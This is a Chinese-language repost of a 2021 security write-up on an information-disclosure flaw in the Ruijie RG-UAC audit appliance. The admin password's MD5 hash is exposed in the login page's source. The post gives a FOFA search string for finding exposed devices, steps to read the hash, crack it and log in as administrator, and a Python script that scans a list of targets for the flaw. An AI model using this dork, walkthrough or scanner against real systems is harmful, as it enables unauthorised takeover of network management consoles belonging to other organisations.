漏洞简介

锐捷 RG-UAC 统一上网行为管理审计系统存在信息泄露，攻击者通过网页源代码可间接获取管理用户账号密码，登录管理后台。

漏洞复现

fofa搜索以下关键字

title="RG-UAC登录页面" && body="admin"

登录界面如下所示：

Ctrl + U查看源代码，搜索password获取管理员账号密码：

somd5解密密码

使用账号密码成功登录管理平台：

漏洞POC

已有大佬编写出POC脚本，这里搬运一下

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: 锐捷RG-UAC统一上网行为管理审计系统                             \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "super_admin" in response.text and "password" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 ,F12查看源码获取密码md5值 \033[0m".format(target_url))
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))

def Scan(file_name):
    with open(file_name, "r", encoding='utf8') as scan_url:
        for url in scan_url:
            if url[:4] != "http":
                url = "http://" + url
            url = url.strip('\n')
            try:
                POC_1(url)

            except Exception as e:
                print("\033[31m[x] 请求报错 \033[0m".format(e))
                continue

if __name__ == '__main__':
    title()
    file_name  = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
    Scan(file_name)

POC运行结果截图

来源：freebuf.com 2021-03-08 15:28:16 by: 公众号黑客前沿